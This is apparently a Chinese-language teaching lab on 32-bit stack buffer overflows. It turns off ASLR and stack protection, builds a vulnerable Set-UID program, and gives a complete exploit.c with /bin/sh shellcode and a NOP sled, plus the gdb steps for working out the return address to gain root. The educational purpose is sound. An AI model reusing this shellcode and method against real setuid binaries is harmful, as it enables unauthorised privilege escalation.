實驗准備
本次實驗為了方便觀察匯編語句，我們需要在 32 位環境下作操作，因此實驗之前需要做一些准備。輸入命令安裝一些用於編譯 32 位 C 程序的軟件包：
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb
安裝結果如圖：
（1）Ubuntu 和其他一些 Linux 系統中，使用地址空間隨機化來隨機堆（heap）和棧（stack）的初始地址，這使得猜測准確的內存地址變得十分困難，而猜測內存地址是緩沖區溢出攻擊的關鍵。因此本次實驗中，我們使用以下命令關閉這一功能：
sudo sysctl -w kernel.randomize_va_space=0
（2）此外，為了進一步防范緩沖區溢出攻擊及其它利用 shell 程序的攻擊，許多shell程序在被調用時自動放棄它們的特權。因此，即使你能欺騙一個 Set-UID 程序調用一個 shell，也不能在這個 shell 中保持 root 權限，這個防護措施在 /bin/bash 中實現。
linux 系統中，/bin/sh 是指向 /bin/bash 或 /bin/dash 的一個符號鏈接。為了重現這一防護措施被實現之前的情形，我們使用另一個 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何設置 zsh 程序：
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
（3）輸入命令 linux32 進入32位linux環境。此時你會發現，命令行用起來沒那么爽了，比如不能tab補全了。
輸入/bin/bash 使用bash：
（4）一般情況下，緩沖區溢出會造成程序崩潰，在程序中，溢出的數據覆蓋了返回地址。而如果覆蓋返回地址的數據是另一個地址，那么程序就會跳轉到該地址，如果該地址存放的是一段精心設計的代碼用於實現其他功能，這段代碼就是 shellcode。
觀察以下代碼：
#include <stdio.h>
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
本次實驗的 shellcode，就是剛才代碼的匯編版本
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
在 /tmp 目錄下新建一個 stack.c 文件：
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
通過代碼可以知道，程序會讀取一個名為“badfile”的文件，並將文件內容裝入“buffer”。
編譯該程序，並設置 SET-UID。命令如下：
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack
exit
GCC編譯器有一種棧保護機制來阻止緩沖區溢出，所以我們在編譯代碼時需要用 –fno-stack-protector 關閉這種機制。 而 -z execstack 用於允許執行棧。-g 參數是為了使編譯后得到的可執行文檔能用 gdb 調試。
我們的目的是攻擊剛才的漏洞程序，並通過攻擊獲得 root 權限。在 /tmp 目錄下新建一個 exploit.c 文件，輸入如下內容：
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517); strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer + 100, shellcode);
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代碼，\x??\x??\x??\x?? 處需要添上 shellcode 保存在內存中的地址，因為發生溢出后這個位置剛好可以覆蓋返回地址。而 strcpy(buffer+100,shellcode); 這一句又告訴我們，shellcode 保存在 buffer + 100 的位置。下面我們將詳細介紹如何獲得我們需要添加的地址。
現在我們要得到 shellcode 在內存中的地址，輸入命令進入 gdb 調試：
gdb stack
disass main
esp 中就是 str 的起始地址，所以我們在地址 0x080484ee 處設置斷點。
接下來：
# 設置斷點
b *0x080484ee
r
i r $esp
最后獲得的這個 0xffffcfb0 就是 str 的地址。
根據語句 strcpy(buffer + 100,shellcode);
我們計算 shellcode 的地址
0xffffcfb0 + 0x64 = 0xffffd014
現在修改 exploit.c 文件，將 \x??\x??\x??\x?? 修改為計算的結果 \x14\xd0\xff\xff，注意順序是反的。
然后，編譯 exploit.c 程序：
先運行攻擊程序 exploit，再運行漏洞程序 stack，觀察結果：
whoami 是輸入的命令，不是輸出結果。
可見，通過攻擊，獲得了root 權限！
通過命令 sudo sysctl -w kernel.randomize_va_space=2 打開系統的地址空間隨機化機制，重復用 exploit 程序攻擊 stack 程序，觀察能否攻擊成功，能否獲得root權限。
沒有獲得root權限